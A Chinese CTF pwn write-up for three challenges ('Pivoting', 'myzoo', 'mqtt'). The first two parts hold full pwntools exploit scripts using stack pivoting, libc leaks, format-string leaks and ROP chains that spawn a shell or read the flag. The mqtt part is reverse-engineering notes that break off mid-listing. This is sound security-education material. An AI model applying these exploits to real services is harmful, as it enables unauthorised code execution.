aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
I know
What can I do for you?
How much money would you like to save?
Welcome back
please let me check again
Thanks for your coming
[1]    1150 segmentation fault (core dumped)  ./pwn

这个题目给出了gadget,可以稳定控制寄存器去进行传参

 ✘ ⚡ root@LAPTOP-G0KOPP7R  /mnt/d/Users/Lenovo/Desktop/pcb/Pivoting  ROPgadget --binary ./pwn --only "pop|ret"                                            

Gadgets information
============================================================
0x00000000004014ee : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004014f0 : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004014f2 : pop r14 ; pop r15 ; ret
0x00000000004014f4 : pop r15 ; ret
0x00000000004014ed : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004014f1 : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040119d : pop rbp ; ret
0x00000000004014f5 : pop rdi ; ret
0x00000000004014f3 : pop rsi ; pop r15 ; ret
0x00000000004014ef : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040101a : ret
0x00000000004012fd : ret 0x8b48
0x000000000040124a : ret 0x8d48

Unique gadgets found: 13

这里有个死循环,我们需要想办法跳过去,这样之后才能进行控制流的劫持,一开始审计代码的时候没有考虑到这一点

然后我们利用程序逻辑清零flag标志位

然后我们调试确定stack的值就行,这里我们发现arch不指定的时候pwntools默认的是32位的架构的

from pwn import *
io = process("./pwn")
io.recvuntil("Please tell me your name\n")
stack = u64(io.recv(6).ljust(8, b"\x00"))
print("stack = ", hex(stack))
def cmd(payload):
    io.sendline("0xdeadbeef")
    io.recvuntil("What can I do for you?")
    io.sendline("1")
    io.recvuntil("How much money would you like to withdraw?")
    io.sendline("2")
    io.recvuntil("Are you sure?")
    io.sendline(payload)
    io.recvuntil("What can I do for you?")
    io.sendline("0")
    io.recvuntil("How much money would you like to save?\n")
    io.sendline("1")
context.arch = "amd64"
elf  = ELF("./pwn")
pd = flat(stack-0x180+0x18,0x00000000004014f3,elf.got["write"],0,0x00000000004014f5,1,elf.plt["write"],elf.symbols["main"])
pd = pd.ljust(0x50, b"\x00")
pd += p64(stack-0x180+0x18)
pd += p64(0x4013C8)  #leave_ret
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]
gdb.attach(io, "b *0x4014C8")

cmd(pd)
libc = ELF("./libc.so.6")
io.recvuntil("Thanks for your coming\n")
lib = u64(io.recv(6).ljust(8, b"\x00"))-libc.sym['write']
print("lib = ", hex(lib))

我们这样定义完成之后,重启泄露出来libc,但是会发现scanf的时候栈帧没有对齐,所以我们执行的返回前加上一个ret抬栈就能打通了

sudo apt install ruby
sudo apt install gem
gem install one_gadget

我们发现还是没有改好,我们安装onegadget试试

这个题目我们尝试open的时候也是出现了莫名其妙的覆写的bug

from pwn import *
io = process("./pwn")
io.recvuntil("Please tell me your name\n")
stack = u64(io.recv(6).ljust(8, b"\x00"))
print("stack = ", hex(stack))
def cmd(payload):
    io.sendline("0xdeadbeef")
    io.recvuntil("What can I do for you?")
    io.sendline("1")
    io.recvuntil("How much money would you like to withdraw?")
    io.sendline("2")
    io.recvuntil("Are you sure?")
    io.sendline(payload)
    io.recvuntil("What can I do for you?")
    io.sendline("0")
    io.recvuntil("How much money would you like to save?\n")
    io.sendline("1")
context.arch = "amd64"
elf  = ELF("./pwn")
pd = flat(0x00000000004014f3,elf.got["write"],0,0x00000000004014f5,1,elf.plt["write"],elf.symbols["main"])
pd = pd.ljust(0x48, b"\x00")
pd += b'./flag\x00\x00'
pd += p64(stack-0x180+0x10)
pd += p64(0x4013C8)  #leave_ret
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]


cmd(pd)
libc = ELF("./libc.so.6")
io.recvuntil("Thanks for your coming\n")
lib = u64(io.recv(6).ljust(8, b"\x00"))-libc.sym['write']
print("lib = ", hex(lib))
ogg = lib + [0xebc81,0xebc85,0xebc88,0xebce2,0xebd38,0xebd3f,0xebd43][5]
rdx = 0x00000000000904a9 + lib
rsi = 0x000000000002be51 + lib
rdi = 0x000000000002a3e5 + lib
flag = stack-0x180+0x18-8-0x18
open = lib+libc.sym['open']
read = lib+libc.sym['read']
gdb.attach(io, "b *0x4014C8")
#pd = flat(stack-0x180+0x18,0x000000000040101a,stack,0x000000000040101a,0x00000000004014f5,lib+next(libc.search(b"/bin/sh")),lib+libc.sym['system'])
pd = flat(rdi,flag,rsi,0,rdx,0,0,open)
pd += b'\xca\x13\x40\x00\x00\x00\x00\x00'#p64(0x4013ca)#0x4013ca
#pd = flat(stack-0x180+0x18,0x000000000040101a,0x404a00,ogg)
#pd = flat(0)+b'./flag\x00\x00'
#pd +=flat(stack-0x180+0x18,ROP)
pd = pd.ljust(0x50,b'\x00')
pd += p64(stack-0x180-0x10)
pd += p64(0x4013C8)  #leave_ret
cmd(pd)
#gdb.attach(io, "b *0x4014C8")
pd = flat('./flag\x00\x00',rdi,3,rsi,stack,rdx,0x20,0,read)
#pd = flat(stack-0x180+0x18,0x000000000040101a,0x404a00,ogg)
#pd = flat(0)+b'./flag\x00\x00'
#pd +=flat(stack-0x180+0x18,ROP)
pd = pd.ljust(0x50, b"\x00")
pd += p64(stack-0x180-8)
pd += p64(0x4013C8)  #leave_ret
cmd(pd)


#io.recvuntil('Thanks for your coming\n')
io.interactive()

exp

这个交互逻辑被改了是真的被坑了,这种重启之后的全局条件不可逆的要额外去注意

这个我想了很多方法做,尝试了很多基础的方式,学到了很多函数调用栈基础,收获很多

当povoting之后的system莫名奇妙不行的时候,可以打ogg,当还是不行的时候

可以打orw,可以顺着程序的逻辑去打,因为漏洞到重启固定的话反复重复基本就可以了

这个题目我打重复还是不行,一开始有个手动调用read的想法,一直没有实践,到最后发现所有方法都打不通的时候,采取调用read

然后发现,构造调用read劫持返回地址是真的好用,反正我用过一次之后之后就准备常用这种方式了,很方便

from pwn import *
io = process("./pwn")
context.log_level = "debug"
io.recvuntil("Please tell me your name\n")
stack = u64(io.recv(6).ljust(8, b"\x00"))
print("stack = ", hex(stack))
def cmd(payload):
    io.sendline("1")
    io.recvuntil("What can I do for you?")
    io.sendline("1")
    io.recvuntil("How much money would you like to withdraw?")
    io.sendline("2")
    io.recvuntil("Are you sure?")
    io.send(payload)
    io.recvuntil("What can I do for you?")
    io.sendline("0")
    io.recvuntil("How much money would you like to save?\n")
    io.sendline("1")
context.arch = "amd64"
elf  = ELF("./pwn")
pd = flat(0x00000000004014f3,elf.got["write"],0,0x00000000004014f5,1,elf.plt["write"],elf.symbols["main"])
pd = pd.ljust(0x50, b"\x00")
pd += p64(stack-0x180+0x10)
pd += p64(0x4013C8)  #leave_ret

context.terminal = ["tmux", "splitw", "-h"]
cmd(pd)


libc = ELF("./libc.so.6")
io.recvuntil("Thanks for your coming\n")
lib = u64(io.recv(6).ljust(8, b"\x00"))-libc.sym['write']
print("lib = ", hex(lib))
ogg = lib + [0xebc81,0xebc85,0xebc88,0xebce2,0xebd38,0xebd3f,0xebd43][5]
rdx = 0x00000000000904a9 + lib
rsi = 0x000000000002be51 + lib
rdi = 0x000000000002a3e5 + lib
flag = stack-0x180+0x18-8-0x18
open = lib+libc.sym['open']
read = lib+libc.sym['read']
write = lib+libc.sym['write']

def cmd2(payload):
    io.sendline("1")
    io.recvuntil("What can I do for you?")
    io.sendline("1")
    io.recvuntil("How much money would you like to withdraw?")
    io.sendline("2")
    io.recvuntil("Are you sure?")
    io.send(payload)


gdb.attach(io, "b *0x4014C8")
#pd = flat(stack-0x180+0x18,0x000000000040101a,stack,0x000000000040101a,0x00000000004014f5,lib+next(libc.search(b"/bin/sh")),lib+libc.sym['system'])
pd = flat(rdi,0,rsi,stack-0x180+0x10+0x28,rdx,0x300,0,read,elf.sym['main'])
#pd += b'\xca\x13\x40\x00\x00\x00\x00\x00'#p64(0x4013ca)#0x4013ca
#pd = flat(stack-0x180+0x18,0x000000000040101a,0x404a00,ogg)
#pd = flat(0)+b'./flag\x00\x00'
#pd +=flat(stack-0x180+0x18,ROP)
pd = pd.ljust(0x50,b'\x00')
pd += p64(stack-0x180-0x10)
pd += p64(0x4013C8)  #leave_ret
cmd2(pd)

#pause()
ROP = flat(rdi,flag+0x100,rsi,0,rdx,0,0,open)
ROP+= flat(rdi,3,rsi,stack,rdx,0x20,0,read)
ROP+= flat(rdi,1,rsi,stack,rdx,0x20,0,write)
ROP+= b'./flag\x00\x00'
pause()
io.send(ROP)
#io.recvuntil('Thanks for your coming\n')
io.interactive()

下面这个可以稳定控制

from pwn import *
io = process("./pwn")
context.log_level = "debug"
io.recvuntil("Please tell me your name\n")
stack = u64(io.recv(6).ljust(8, b"\x00"))
print("stack = ", hex(stack))
def cmd(payload):
    io.sendline("1")
    io.recvuntil("What can I do for you?")
    io.sendline("1")
    io.recvuntil("How much money would you like to withdraw?")
    io.sendline("2")
    io.recvuntil("Are you sure?")
    io.send(payload)
    io.recvuntil("What can I do for you?")
    io.sendline("0")
    io.recvuntil("How much money would you like to save?\n")
    io.sendline("1")
context.arch = "amd64"
elf  = ELF("./pwn")
pd = flat(0x00000000004014f3,elf.got["write"],0,0x00000000004014f5,1,elf.plt["write"],elf.symbols["main"])
pd = pd.ljust(0x50, b"\x00")
pd += p64(stack-0x180+0x10)
pd += p64(0x4013C8)  #leave_ret

context.terminal = ["tmux", "splitw", "-h"]
cmd(pd)


libc = ELF("./libc.so.6")
io.recvuntil("Thanks for your coming\n")
lib = u64(io.recv(6).ljust(8, b"\x00"))-libc.sym['write']
print("lib = ", hex(lib))
ogg = lib + [0xebc81,0xebc85,0xebc88,0xebce2,0xebd38,0xebd3f,0xebd43][5]
rdx = 0x00000000000904a9 + lib
rsi = 0x000000000002be51 + lib
rdi = 0x000000000002a3e5 + lib
flag = stack-0x180+0x18-8-0x18
open = lib+libc.sym['open']
read = lib+libc.sym['read']
write = lib+libc.sym['write']

def cmd2(payload):
    io.sendline("1")
    io.recvuntil("What can I do for you?")
    io.sendline("1")
    io.recvuntil("How much money would you like to withdraw?")
    io.sendline("2")
    io.recvuntil("Are you sure?")
    io.send(payload)


gdb.attach(io, "b *0x4014C8")
pd = flat(0x000000000040101a,0x00000000004014f5,lib+next(libc.search(b"/bin/sh")),lib+libc.sym['system'])
#pd = flat(rdi,0,rsi,stack-0x180+0x10+0x28,rdx,0x300,0,read,elf.sym['main'])
#pd += b'\xca\x13\x40\x00\x00\x00\x00\x00'#p64(0x4013ca)#0x4013ca
#pd = flat(stack-0x180+0x18,0x000000000040101a,0x404a00,ogg)
#pd = flat(0)+b'./flag\x00\x00'
#pd +=flat(stack-0x180+0x18,ROP)
pd = pd.ljust(0x50,b'\x00')
pd += p64(stack-0x180-0x10)
pd += p64(0x4013C8)  #leave_ret
cmd2(pd)
#io.recvuntil('Thanks for your coming\n')
io.interactive()

TWO:myzoo

我们还是边运行边做,通过运行逻辑去做

但是这里有个缺陷,就是很感性,比如说上一题,交互逻辑错了,一两个小时愣是没有看出来

这里我见到了这个,第一见到的新东西

_mm_cvtsi32_si128(0x12345678)

// 结果是:{0x00000000, 0x00000000, 0x00000000, 0x12345678} (小端)

_mm_cvtsi32_si128(0x41500000u).m128i_i64

然后题目进行初始化结束之后,直接给出pie

printf("gift@%p\n", printf_w);

这个题目的问题是共用一个全局变量,我们可以根据这一点劫持程序执行流

yes
随你吧
aaaaaaaaaaaaaaaaaaaaaaaa
welcome to my ez zoos
there are only one dog,one cat,one bird
whats you want to play with
1. dog
2. cat
3. bird
>>
gift@0x612480aec2c9
3
名字:
年龄: 2
忘了品种: aaaaaaaaaaaaaaaaaaaaaaaa

[1]    10095 segmentation fault (core dumped)  ./pwn

这里的结构体干扰很多,随便选个就能崩溃,我们现在需要的是rop链子

0x1723

0x1A63

0x18BA

0x4050

这个题目的偏移是不好看出来的,我们需要不断去进行调整

aaaaaaaabbbbbbbbccccccccdddddddd
aaaaaaaaabbbbbbbbccccccccdddddddeeeeeeee

我们好像已经找到了稳定控制的方式

   0x555555555723    mov    rax, qword ptr [rip + 0x2926]     RAX, [0x555555558050] => 0x55555555b2a0 ◂— 2
   0x55555555572a    mov    rax, qword ptr [rax + 0x50]       RAX, [0x55555555b2f0] => 0xa65656565
   0x55555555572e    mov    rdx, qword ptr [rip + 0x291b]     RDX, [0x555555558050] => 0x55555555b2a0 ◂— 2
   0x555555555735    add    rdx, 8                            RDX => 0x55555555b2a8 (0x55555555b2a0 + 0x8)
   0x555555555739    mov    rdi, rdx                          RDI => 0x55555555b2a8 ◂— 'common bird'
 ► 0x55555555573c    call   rax                         <0xa65656565>

   0x55555555573e    lea    rax, [rip + 0xa09]     RAX => 0x55555555614e ◂— 0xa6e8b383e6a0bde4
   0x555555555745    mov    rdi, rax
   0x555555555748    call   puts@plt                    <puts@plt>

   0x55555555574d    lea    rax, [rbp - 0x10]
   0x555555555751    mov    rsi, rax
────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe270 —▸ 0x7fffffffe3e8 —▸ 0x7fffffffe6a2 ◂— '/mnt/d/Users/Lenovo/Desktop/pcb/myzoo/pwn'
01:0008│-018 0x7fffffffe278 —▸ 0x55555555b310 ◂— 'Golden Retriever'
02:0010│-010 0x7fffffffe280 —▸ 0x555555557d60 —▸ 0x555555555280 ◂— endbr64
03:0018│-008 0x7fffffffe288 ◂— 0x8dbcd9ee2f7d500
04:0020│ rbp 0x7fffffffe290 —▸ 0x7fffffffe2d0 ◂— 1
05:0028│+008 0x7fffffffe298 —▸ 0x555555555f3e ◂— jmp 0x555555555f66
06:0030│+010 0x7fffffffe2a0 ◂— 0
07:0038│+018 0x7fffffffe2a8 ◂— 0x100000000
──────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────────────────
 ► 0   0x55555555573c
   1   0x555555555f3e
   2   0x7ffff7dbbd90
   3   0x7ffff7dbbe40 __libc_start_main+128
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> tele 0x55555555b2a0
00:0000│         0x55555555b2a0 ◂— 2
01:0008│ rdx rdi 0x55555555b2a8 ◂— 'common bird'
02:0010│         0x55555555b2b0 ◂— 0x647269 /* 'ird' */
03:0018│         0x55555555b2b8 ◂— 0
04:0020│         0x55555555b2c0 ◂— 0
05:0028│         0x55555555b2c8 ◂— 0x6161616100000001
06:0030│         0x55555555b2d0 ◂— 'aaaaabbbbbbbbccccccccdddddddeeeeeeee\n'
07:0038│         0x55555555b2d8 ◂— 'bbbbbccccccccdddddddeeeeeeee\n'
pwndbg>
08:0040│  0x55555555b2e0 ◂— 'cccccdddddddeeeeeeee\n'
09:0048│  0x55555555b2e8 ◂— 'ddddeeeeeeee\n'
0a:0050│  0x55555555b2f0 ◂— 0xa65656565 /* 'eeee\n' */
0b:0058│  0x55555555b2f8 —▸ 0x5555555554dd ◂— endbr64

我们通过这个前缀,后门加上我们的地址,可以稳定控制call rax

aaaaaaaaabbbbbbbbccccccccdddddddeeee

我们通过选择cat,我们控制传入的参数的形式

现在我们缺少一个system

但是我们在调试的时候,我们还是缺少了很多东西(*(heap_ptr + 6))(heap_ptr + 8);比如说这个,我们rax的调用的偏移是这个

我们发现了一个可控链子

1111222233334444555566667777888899990000

这样输入的时候,call第二个时候,会出现这个情况

0x5555555558d3    call   rax                         <0x3333333332323232>

这里说明我们有四个gadget的长度进行,这个是我们找到的最大的攻击面

但是我们控制不了栈,我们还是只能控制一个gadget

下面是正常的交互的流程,这个应该是有格式化漏洞的

>>
gift@0x60b54bc542c9
1
名字: Buddy
年龄: 3
Golden Retriever
体重: 12.5 kg
Buddy: 汪!汪!
你想要喂它吗
no
bye
welcome to my ez zoos
there are only one dog,one cat,one bird
whats you want to play with
1. dog
2. cat
3. bird
>>
gift@0x60b54bc542c9
2
名字: kitty
年龄: 2
体重: 13.0 kg
这个嘛,我不知道
kitty: 喵喵喵!
你想给它起外号?
no
bye
welcome to my ez zoos
there are only one dog,one cat,one bird
whats you want to play with
1. dog
2. cat
3. bird
>>
gift@0x60b54bc542c9
3
名字: casa
年龄: 1
忘了品种: common bird
casa: ......
它没理你
你想要喂它吗
no
bye

这个题需要还原出来结构体,要不靠猜的话很难做

当我选2随便输入一个字符之后

当我选3随便输入一个字符的时候

然后我们大致确定了如何调用system

在调用之后调用puts打印出来libc就行

弄了一下午还没有弄好,这个一旦到printf就会退出,这个要求的栈环境是真的严格

我们定义了一下午结构如下,终于深刻体会到的interactive的申力

我们这里可以定义好了,但是这里稳定传参有点被动,我们这条链子重置的表层的地址,就是隔开了一层地址,所以说我们还需要重新铺垫,手动构造一层隔离

我们理解错了,是差一层地址,不是多一层地址

所以说我们这一条利用思路压根就行不通

from pwn import *
io = process('./pwn')
io.recvuntil("gift@")
pie = int(io.recv(16),16) - 0x12C9
print("pie:",hex(pie))
io.sendline('1')
io.recvuntil("你想要喂它吗")
io.sendline('no')
pr = lambda x:success('\x1b[01;38;5;214m'+hex(x)+'\x1b[0m')
def pay3(payload=b'a',sign=0):
    io.sendline('3')
    if sign == 1:
        io.recvuntil("你想要喂它吗")
        io.sendline(b'yes')
        io.recvuntil("你说casa不符合他的性格?")
        io.sendline(b'yes')
        io.recvuntil("那你起个名字吧")
        io.send(payload)
    elif sign == 2:
        io.recvuntil("你想要喂它吗")
        io.sendline(b'no')


def pay2(payload=b'a',sign=0):
    io.recvuntil("gift@")
    io.sendline("2")

    if sign == 1:
        io.recvuntil("你想给它起外号?\n")
        io.sendline('yes')
        io.recvuntil("随你吧")
        io.send(payload)
    elif sign == 2:
        io.recvuntil("你想给它起外号?\n")
        io.sendline('no')
        

def pay1(payload=b'a',sign=0):
    io.recvuntil("gift@")
    io.sendline("1")
    if sign == 2:
        io.recvuntil("你想要喂它吗")
        io.sendline('no')
    
def leak(payload=b'a',sign=0):
    io.recvuntil("gift@")
    io.sendline("2")
    io.recvuntil('\n')
    io.recvuntil('\n')
    io.recvuntil('\n')
    io.recvuntil('\n')
    io.recvuntil('\n')
    lib = u64(io.recv(6).ljust(8,b'\x00'))
    pr(lib)
    if sign == 1:
        io.recvuntil("你想给它起外号?\n")
        io.sendline('yes')
        io.recvuntil("随你吧")
        io.send(payload)
    elif sign == 2:
        io.recvuntil("你想给它起外号?\n")
        io.sendline('no')

context.terminal = ['tmux', 'splitw', '-h'] 
context.log_level = 'debug'
elf = ELF('./pwn')
ret = pie + 0x101a
leave_ret = pie + 0x00000000000012f9
puts = pie + elf.plt['puts']
puts2 = pie + elf.got['puts']
puts_addr = pie + 0x72d8
read1 = pie + 0x192D
read2 = pie + 0x1B4D
read = pie + elf.plt['read']

#gdb.attach(io,"b *$rebase(0x1723)")  #  [1]
gdb.attach(io,"b *$rebase(0x18BA)") #   [2]
#gdb.attach(io,"b *$rebase(0x1A63)") #   [3]
pd1 = b'a'*4 + p64(puts) + p64(puts2)
pay3(pd1,1)
###结构体的特定的偏移的位置###
pd2 = p64(puts_addr)
pay2(pd2,1)
###触发尝试的puts,并且顺便泄露t表的地址###
leak(pd2,2)

###触发got表的地址###
io.interactive()

我们可以利用这条链执行system,但是我们不能利用这条链泄露打印出来got表的地址

我问了问是用的格式化进行泄露的

exp

from pwn import *
io = process('./pwn')
io.recvuntil("gift@")
pie = int(io.recv(16),16) - 0x12C9
print("pie:",hex(pie))
io.sendline('1')
io.recvuntil("你想要喂它吗")
io.sendline('no')
pr = lambda x:success('\x1b[01;38;5;214m'+hex(x)+'\x1b[0m')
def pay3(payload=b'a',sign=0):
    io.sendline('3')
    if sign == 1:
        io.recvuntil("你想要喂它吗")
        io.sendline(b'yes')
        io.recvuntil("你说casa不符合他的性格?")
        io.sendline(b'yes')
        io.recvuntil("那你起个名字吧")
        io.send(payload)
    elif sign == 2:
        io.recvuntil("你想要喂它吗")
        io.sendline(b'no')


def pay2(payload=b'a',sign=0):
    io.recvuntil("gift@")
    io.sendline("2")

    if sign == 1:
        io.recvuntil("你想给它起外号?\n")
        io.sendline('yes')
        io.recvuntil("随你吧")
        io.send(payload)
    elif sign == 2:
        io.recvuntil("你想给它起外号?\n")
        io.sendline('no')
        

def pay1(payload=b'a',sign=0):
    io.recvuntil("gift@")
    io.sendline("1")
    if sign == 2:
        io.recvuntil("你想要喂它吗")
        io.sendline('no')
    
def leak(payload=b'a',sign=0):
    global lib
    io.recvuntil("gift@")
    io.sendline("2")
    io.recvuntil('\n')
    io.recvuntil('\n')
    io.recvuntil('\n')
    io.recvuntil('\n')
    io.recvuntil('\n')
    lib = int(io.recv(14), 16) - 0x29d90
    pr(lib)
    if sign == 1:
        io.recvuntil("你想给它起外号?\n")
        io.sendline('yes')
        io.recvuntil("随你吧")
        io.send(payload)
    elif sign == 2:
        io.recvuntil("你想给它起外号?\n")
        io.sendline('no')

context.terminal = ['tmux', 'splitw', '-h'] 
context.log_level = 'debug'
elf = ELF('./pwn')
ret = pie + 0x101a
leave_ret = pie + 0x00000000000012f9
printf = pie + elf.plt['printf']
puts2 = pie + elf.got['puts']
puts_addr = pie + 0x72d8
read1 = pie + 0x192D
read2 = pie + 0x1B4D
read = pie + elf.plt['read']

#gdb.attach(io,"b *$rebase(0x1723)")  #  [1]
gdb.attach(io,"b *$rebase(0x18BA)") #   [2]
#gdb.attach(io,"b *$rebase(0x1A63)") #   [3]
pd1 = b'a'*4 + p64(printf) + p64(puts2)
pay3(pd1,1)
###结构体的特定的偏移的位置###
#pd2 = p64(puts_addr)
pd2 = b'%19$p'
pay2(pd2,1)
###触发尝试的puts,并且顺便got表的地址###
leak(pd2,2)
libc = ELF('./libc.so.6')
###触发泄露libc地址###
pd1 = b'a'*4 + p64(lib+libc.symbols['system']) + p64(puts2)
pay3(pd1,1)
###写上system的地址#######
pd2 = b'/bin/sh\x00'
pay2(pd2,1)
###写上/bin/sh的地址#######
pay2(pd2,3)
###执行shell####
io.interactive()

THREE:mqtt

为了运行起来,我们先去安装一下链接库

1. 安装 libcjson.so.1(CJSON 库)

这个库通常由 libcjson1 或 libcjson-dev 提供。在基于 Debian/Ubuntu 的系统上,可以这样安装:

sudo apt update
sudo apt install libcjson1 libcjson-dev

如果你使用的是较新的 Ubuntu(如 22.04+),包名可能是 libcjson1;旧版本可能叫 libcjson0。如果找不到,也可以从源码编译(见后文)。

2. 安装 libpaho-mqtt3c.so.1(Paho MQTT C 客户端库)

从源码编译 Paho MQTT C(如果 apt 不行)

  1. 安装依赖:
sudo apt install build-essential cmake git
  1. 克隆官方仓库:
git clone https://github.com/eclipse/paho.mqtt.c.git
cd paho.mqtt.c
  1. 编译并安装(启用共享库):
cmake -B build -DPAHO_BUILD_SHARED=ON -DPAHO_BUILD_STATIC=OFF -DPAHO_WITH_SSL=OFF
cmake --build build
sudo cmake --install build

默认会安装到 /usr/local/lib,可能不在默认的 LD_LIBRARY_PATH 中。

  1. 更新动态链接器缓存:
sudo ldconfig

或者临时添加路径:

export LD_LIBRARY_PATH=/usr/local/lib:$LD_LIBRARY_PATH

这样之后我们就能正常运行pwn附件了

对于这种类型的题目最好用最新版本的运行

做题

我们运行程序的效果如下

 ✘ ⚡ root@ziran-VMware-Virtual-Platform  /home/ziran/Desktop/mqtt  ldd pwn
    linux-vdso.so.1 (0x00007d2d29f87000)
    libpaho-mqtt3c.so.1 => /usr/local/lib/libpaho-mqtt3c.so.1 (0x00007d2d29eb4000)
    libcjson.so.1 => /lib/x86_64-linux-gnu/libcjson.so.1 (0x00007d2d29e98000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007d2d29c00000)
    /lib64/ld-linux-x86-64.so.2 (0x00007d2d29f89000)
 ⚡ root@ziran-VMware-Virtual-Platform  /home/ziran/Desktop/mqtt  ./pwn
miss file.

补充一下相关的背景知识

/mnt/VIN —— Vehicle Identification Number(车辆识别码)

/mnt/version —— 固件/软件版本号

这是经典的 多项式滚动哈希(Polynomial Rolling Hash),使用的基数是 31。

int __fastcall sub_1509(__int64 p_dest, char *p_s2)
{
  int v3; // [rsp+18h] [rbp-8h]
  int i; // [rsp+1Ch] [rbp-4h]

  v3 = 0;
  for ( i = 0; *(_BYTE *)(i + p_dest); ++i )
    v3 = 31 * v3 + *(char *)(i + p_dest);
  return sprintf(p_s2, "%08x", v3);
}

然后还有这个

其中包含大量看似“无用”的变量初始化(如 n1129599309 = 1129599309;、v27 = -1; 等)。这些并不是随机垃圾,而是 MQTT 客户端库(Paho MQTT C)内部结构体的字段初始化。

    n1129599309 = 1129599309;
    n8 = 8;
    n60 = 60;
    v11 = 1;
    v12 = 1;
    v13 = 0;
    v14 = 0;
    v15 = 0;
    n30 = 30;
    v17 = 0;
    v18 = 0;
    v19 = 0;
    v20 = 0;
    v21 = 0;
    v22 = 0;
    v23 = 0;
    v24 = 0;
    v25 = 0;
    v26 = 0;
    v27 = -1;
    v28 = 0;
    v29 = 0;
    v30 = 0;
    v31 = 0;

1. 背景:Paho MQTT C 的连接配置

在 Paho MQTT C 库中,连接 MQTT broker 需要传入一个 MQTTClient_connectOptions 结构体,例如:

MQTTClient_connectOptions opts = MQTTClient_connectOptions_initializer;
opts.keepAliveInterval = 60;
opts.cleansession = 1;
opts.connectTimeout = 30;
// ...
MQTTClient_connect(client, &opts);

而 MQTTClient_connectOptions_initializer 是一个宏,展开后就是对结构体所有字段的初始化,比如:

#define MQTTClient_connectOptions_initializer { \
    'M', 'Q', 'T', 'C', 0, 0, 0, 0, \
    60, 1, NULL, NULL, NULL, NULL, \
    30, 0, 0, ... \
}

2. 反编译器“打散”了结构体

你的 main 函数中,这段代码:

n1129599309 = 1129599309;  // 0x434D514D -> "MQTC" (小端)
n8 = 8;                    // struct version = 8
n60 = 60;                  // keepAliveInterval = 60
v11 = 1;                   // cleansession = 1
v12 = 1;                   // (可能) reliable = 1
v13 = 0;                   // will = NULL
v14 = 0;                   // username = NULL
v15 = 0;                   // password = NULL
n30 = 30;                  // connectTimeout = 30
...
v27 = -1;                  // serverURIs = NULL (或特殊值)

正是手动初始化这个结构体的各个字段!

特别注意:

  • 1129599309 的十六进制是 0x434D514D
  • 按小端序解读为字节:4D 51 43 43 → ASCII: 'M' 'Q' 'T' 'C'
  • 这正是 Paho MQTT 结构体的 magic header(用于版本检查)

✅ 所以 n1129599309 = 1129599309 实际上是在设置结构体的前 4 字节为 "MQTC"。

3. 对应的真实结构体(简化版)

typedef struct {
    char struct_id[4];        // "MQTC"
    int struct_version;       // 通常为 8
    int keepAliveInterval;    // 60
    int cleansession;         // 1
    MQTTClient_willOptions* will;
    const char* username;
    const char* password;
    int connectTimeout;       // 30
    int retryInterval;
    void* ssl;
    // ... 其他字段
} MQTTClient_connectOptions;

你在栈上分配了一块内存(通过多个局部变量拼接),然后按字段赋值,最后应该会传给 MQTTClient_connect()。

⚠️ 但在你贴的代码中,并没有看到调用 MQTTClient_connect(&opts),而是直接 MQTTClient_connect()(无参数)——这说明:

  • 要么反编译不完整
  • 要么这些变量地址被取址后传入(如 &n1129599309 作为结构体指针)
  • 创建一个 MQTT 客户端实例,用于后续连接、订阅、发布消息。
  • 将创建好的客户端“句柄”(本质是一个内部结构体指针)写入全局变量 qword_5100。
  • 连接目标是本地的 MQTT 代理(broker):tcp://localhost:9999
  • 客户端标识为 "vehicle_diag" —— 模拟一个车载诊断设备。
MQTTClient_create(
    (__int64)&qword_5100,           // 输出:客户端句柄的地址
    (__int64)"tcp://localhost:9999", // broker 地址(MQTT 服务器)
    (__int64)"vehicle_diag"          // 客户端 ID(Client ID)
);
  • 注册消息接收回调函数:当客户端收到订阅主题的消息时,自动调用 sub_1C8C。
  • 其他回调(如断连通知)未设置(传 NULL)。
MQTTClient_setCallbacks(
    qword_5100,      // 客户端句柄
    0,               // context(用户自定义上下文,可为 NULL)
    0,               // connection lost callback(断连回调,未设置)
    (__int64)sub_1C8C // message arrived callback(消息到达回调函数)
);
  • 让 MQTT 客户端订阅名为 "diag" 的主题(topic)。
  • 此后,任何发布到 diag 主题的消息都会被 broker 转发给该客户端。
  • 客户端收到消息后,会触发之前通过 MQTTClient_setCallbacks 注册的回调函数 sub_1C8C。
MQTTClient_subscribe(client, "diag");
  • 创建一个独立的后台线程,执行函数 sub_1E1A。
  • 主线程继续执行(打印 "Init..." 并进入 sleep 循环),而新线程并发运行。
pthread_create(&newthread, NULL, sub_1E1A, NULL);

然后我们进入线程层面来看看

/dev/status 文件的内容会被直接当作字符串,填入 JSON 的 "status" 字段,随心跳包上报。

🔧 典型内容示例(取决于题目设定)

场景

可能的 /dev/status 内容

正常运行

online、running、engine_on、normal

故障状态

battery_low、sensor_error、overheat

诊断模式

diag_mode、maintenance_required

CTF 特殊设计

可能包含内存地址、flag 片段(如果存在信息泄露)

空或不存在

程序会降级为 "status_unavailable"

然后追溯到这个函数

unsigned __int64 __fastcall sub_1702(const char *s)
{
  unsigned int v2; // [rsp+1Ch] [rbp-54h] BYREF
  _DWORD v3[4]; // [rsp+20h] [rbp-50h] BYREF
  const char *s_1; // [rsp+30h] [rbp-40h]
  int v5; // [rsp+38h] [rbp-38h]
  int v6; // [rsp+3Ch] [rbp-34h]
  int v7; // [rsp+40h] [rbp-30h]
  int v8; // [rsp+44h] [rbp-2Ch]
  int v9; // [rsp+48h] [rbp-28h]
  int v10; // [rsp+4Ch] [rbp-24h]
  int v11; // [rsp+50h] [rbp-20h]
  __int64 v12; // [rsp+58h] [rbp-18h]
  unsigned __int64 v13; // [rsp+68h] [rbp-8h]

